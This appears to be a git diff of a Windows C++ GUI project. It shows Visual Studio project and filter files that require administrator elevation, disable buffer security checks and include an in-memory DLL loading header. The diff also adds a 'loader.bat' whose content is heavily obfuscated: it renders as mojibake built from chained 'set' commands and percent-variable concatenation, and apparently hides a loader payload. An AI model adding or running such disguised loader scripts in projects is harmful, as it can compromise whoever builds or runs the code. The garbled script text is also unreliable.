<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<EnableParallelCodeGeneration>true</EnableParallelCodeGeneration>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<LanguageStandard>stdcpplatest</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<EnableParallelCodeGeneration>true</EnableParallelCodeGeneration>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<LanguageStandard>stdcpplatest</LanguageStandard>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
<BufferSecurityCheck>false</BufferSecurityCheck>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="D:\Projects\CppUtils\Utils\Clipboard.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\Convert.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\CRandom.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\DataPack.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\DateTime.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\Dialog.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\Environment.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\Event.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\File.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\FileInfo.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\FileStream.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\Guid.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\HttpHelper.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\HttpHelper1.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\MD5.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\Process.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\ProcessOperator.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\Registry.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\SHA256.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\Socket.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\SqliteHelper.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\sqlite\sqlite3.c" />
<ClCompile Include="D:\Projects\CppUtils\Utils\StopWatch.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\StringBuilder.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\StringHelper.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\Thread.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\TimeSpan.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\Utils.cpp" />
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\adler32.c" />
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\compress.c" />
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\crc32.c" />
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\deflate.c" />
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\infback.c" />
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\inffast.c" />
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\inflate.c" />
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\inftrees.c" />
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\trees.c" />
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\uncompr.c" />
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\zutil.c" />
<ClCompile Include="GUI\WinUI.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="MainWindow.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="D:\Projects\CppUtils\Utils\Clipboard.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Convert.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\CRandom.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\DataPack.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\DateTime.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\defines.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Dialog.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Dictionary.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Environment.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Event.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\File.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\FileInfo.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\FileStream.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Guid.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\HttpHelper.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\json.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\List.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\MD5.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\MemLoadLibrary2.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Process.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\ProcessOperator.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Registry.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\SHA256.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Socket.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\SqliteHelper.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\sqlite\sqlite3.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\StopWatch.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\StringBuilder.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\StringHelper.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Thread.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\TimeSpan.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Tuple.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\Utils.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\crc32.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\deflate.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\gzguts.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\inffast.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\inffixed.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\inflate.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\inftrees.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\trees.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\zconf.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\zlib.h" />
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\zutil.h" />
<ClInclude Include="GUI\WinUI.h" />
<ClInclude Include="MainWindow.h" />
<ClInclude Include="resource.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="WinGUI.rc" />
</ItemGroup>
<ItemGroup>
<Image Include="AppIco.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,310 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="GUI">
<UniqueIdentifier>{5a8cac3d-21f8-44fd-acf9-dcf279a2459f}</UniqueIdentifier>
</Filter>
<Filter Include="Utils">
<UniqueIdentifier>{0f28b75e-651b-4c0b-9dcd-b1df334b8f48}</UniqueIdentifier>
</Filter>
<Filter Include="Utils\sqlite">
<UniqueIdentifier>{b4e68bb9-b93f-4a9f-9205-46b587f83cf9}</UniqueIdentifier>
</Filter>
<Filter Include="Utils\zlib">
<UniqueIdentifier>{e6cfb527-f8dd-4ea2-b6bf-474195b942dd}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\adler32.c">
<Filter>Utils\zlib</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\compress.c">
<Filter>Utils\zlib</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\crc32.c">
<Filter>Utils\zlib</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\deflate.c">
<Filter>Utils\zlib</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\infback.c">
<Filter>Utils\zlib</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\inffast.c">
<Filter>Utils\zlib</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\inflate.c">
<Filter>Utils\zlib</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\inftrees.c">
<Filter>Utils\zlib</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\trees.c">
<Filter>Utils\zlib</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\uncompr.c">
<Filter>Utils\zlib</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\zlib\zutil.c">
<Filter>Utils\zlib</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\sqlite\sqlite3.c">
<Filter>Utils\sqlite</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\Clipboard.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\Convert.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\CRandom.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\DataPack.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\DateTime.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\Dialog.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\Environment.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\Event.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\File.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\FileInfo.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\FileStream.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\Guid.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\HttpHelper.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\Process.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\ProcessOperator.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\Registry.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\Socket.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\SqliteHelper.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\StopWatch.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\StringBuilder.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\StringHelper.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\Thread.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\TimeSpan.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\Utils.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="GUI\WinUI.cpp">
<Filter>GUI</Filter>
</ClCompile>
<ClCompile Include="MainWindow.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\HttpHelper1.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\MD5.cpp">
<Filter>Utils</Filter>
</ClCompile>
<ClCompile Include="D:\Projects\CppUtils\Utils\SHA256.cpp">
<Filter>Utils</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\crc32.h">
<Filter>Utils\zlib</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\deflate.h">
<Filter>Utils\zlib</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\gzguts.h">
<Filter>Utils\zlib</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\inffast.h">
<Filter>Utils\zlib</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\inffixed.h">
<Filter>Utils\zlib</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\inflate.h">
<Filter>Utils\zlib</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\inftrees.h">
<Filter>Utils\zlib</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\trees.h">
<Filter>Utils\zlib</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\zconf.h">
<Filter>Utils\zlib</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\zlib.h">
<Filter>Utils\zlib</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\zlib\zutil.h">
<Filter>Utils\zlib</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\sqlite\sqlite3.h">
<Filter>Utils\sqlite</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Utils.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Clipboard.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Convert.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\CRandom.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\DataPack.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\DateTime.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\defines.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Dialog.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Dictionary.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Environment.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Event.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\File.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\FileInfo.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\FileStream.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Guid.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\HttpHelper.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\json.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\List.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\MemLoadLibrary2.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Process.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\ProcessOperator.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Registry.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Socket.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\SqliteHelper.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\StopWatch.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\StringBuilder.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\StringHelper.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Thread.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\TimeSpan.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\Tuple.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="GUI\WinUI.h">
<Filter>GUI</Filter>
</ClInclude>
<ClInclude Include="MainWindow.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\MD5.h">
<Filter>Utils</Filter>
</ClInclude>
<ClInclude Include="D:\Projects\CppUtils\Utils\SHA256.h">
<Filter>Utils</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="WinGUI.rc">
<Filter>资源文件</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<Image Include="AppIco.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>

621
WinGUI/loader.bat Normal file
View File

@ -0,0 +1,621 @@

䁥捨漠潦<EFBFBD>
獥琠特硚㴠
獥琥特硚╤歱䄽<EFBFBD>
獥琥特硚╺䙈嘥摫煁╳
╺䙈嘥整╲祸娥潅啩╤歱䄥<EFBFBD>
╺䙈嘥╯䕕椥琥特硚╹单稥摫煁╴
╺䙈嘥╯䕕椥╹单稥╲祸娥慵慒╤歱䄥<EFBFBD>
╺䙈嘥╯䕕椥╹单稥╲祸娥䩐晣╤歱䄥<EFBFBD>
╺䙈嘥╯䕕椥╹单稥╲祸娥橆捒╤歱䄥<EFBFBD>
╺䙈嘥╯䕕椥╹单稥╲祸娥敔慮╤歱䄥<EFBFBD>
╺䙈嘥╯䕕椥╹单稥╲祸娥橎䝔╤歱䄥╯䕕椥
╺䙈嘥╪乇吥╹单稥╲祸娥潱䕦╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥硲浚╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥剦䝗╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥䍊捶╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥䥶䵅╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥䵄癅╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥剰慢╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥睺桇╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥䙧坨╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥湦湑╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥䥦䙩╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥癑坮╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥扑塅╤歱䄥<EFBFBD>
╺䙈嘥╪乇吥╹单稥╲祸娥䡪湂╤歱䄥╺䙈嘥
╈橮䈥╪乇吥╹单稥╲祸娥䱺呧╤歱䄥╹单稥
╈橮䈥╪乇吥╌穔朥╲祸娥偤慐╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥捔牃╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥楁瑭╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥乪硔╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥乧剡╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥穋卒╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥桋晴╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䅉湖╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䍰剩╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥灶灸╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥晧汗╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䙡晹╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䵔䵣╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥卭癪╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥噭牙╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥潚䥶╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䅬摺╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥扯敍╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䙷呇╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥啐瑪╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥塵剱╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥歸䵰╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䝖偨╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥煷煮╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䭌牢╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥橘䥴╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥橨䱩╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䥌兑╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䩺汌╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䕴䥸╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥橵煺╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥睯她╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥乹流╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥坎䡶╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䅵摯╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥扃穌╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥煢摣╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥歂湺╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥奷湁╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥乭噣╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䍑扥╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥橩浂╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥湮副╤歱䄥╨䭦琥
╈橮䈥╪乇吥╌穔朥╲祸娥䉦奫╤歱䄥╁䥮嘥
╈橮䈥╪乇吥╌穔朥╲祸娥癕灘╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥捌噂╤歱䄥╰癰砥
╈橮䈥╪乇吥╌穔朥╲祸娥䥆歓╤歱䄥╦杬圥
╈橮䈥╪乇吥╌穔朥╲祸娥托噚╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥敌灌╤歱䄥╍呍挥
╈橮䈥╪乇吥╌穔朥╲祸娥湫佐╤歱䄥╓浶樥
╈橮䈥╪乇吥╌穔朥╲祸娥獌灲╤歱䄥╖浲夥
╈橮䈥╪乇吥╌穔朥╲祸娥橶祡╤歱䄥╯婉瘥
╈橮䈥╪乇吥╌穔朥╲祸娥兌䩨╤歱䄥╁汤稥
╈橮䈥╪乇吥╌穔朥╲祸娥塙䕴╤歱䄥╢潥䴥
╈橮䈥╪乇吥╌穔朥╲祸娥但噱╤歱䄥╆睔䜥
╈橮䈥╪乇吥╌穔朥╲祸娥摄特╤歱䄥╕側樥
╈橮䈥╪乇吥╌穔朥╲祸娥䉹坙╤歱䄥╘畒焥
╈橮䈥╪乇吥╌穔朥╲祸娥䑨啓╤歱䄥╫硍瀥
╈橮䈥╪乇吥╌穔朥╲祸娥浫充╤歱䄥╇噐栥
╈橮䈥╪乇吥╌穔朥╲祸娥呢䙏╤歱䄥╱睱渥
╈橮䈥╪乇吥╌穔朥╲祸娥䝷䍹╤歱䄥╋䱲戥
╈橮䈥╪乇吥╌穔朥╲祸娥汳呕╤歱䄥╪塉琥
╈橮䈥╪乇吥╌穔朥╲祸娥坣婫╤歱䄥╪桌椥
╈橮䈥╪乇吥╌穔朥╲祸娥佷睇╤歱䄥╉䱑儥
╈橮䈥╪乇吥╌穔朥╲祸娥敺浃╤歱䄥╊穬䰥
╈橮䈥╪乇吥╌穔朥╲祸娥敨偊╤歱䄥╅瑉砥
╈橮䈥╪乇吥╌穔朥╲祸娥䍂䥖╤歱䄥╪畱稥
╈橮䈥╪乇吥╌穔朥╲祸娥䉧穏╤歱䄥╷潙礥
╈橮䈥╪乇吥╌穔朥╲祸娥呒楸╤歱䄥<EFBFBD>
╈橮䈥╪乇吥╌穔朥╲祸娥䥷噵╤歱䄥╊偦挥
╈橮䈥╪乇吥╌穔朥╲祸娥潉䅔╤歱䄥╪䙣別
╈橮䈥╪乇吥╌穔朥╲祸娥橆慆╤歱䄥╥呡渥
╈橮䈥╪乇吥╌穔朥╲祸娥䉈乢╤歱䄥╪乇吥
╈橮䈥╂䡎戥╌穔朥╲祸娥䱁塯╤歱䄥╯煅春
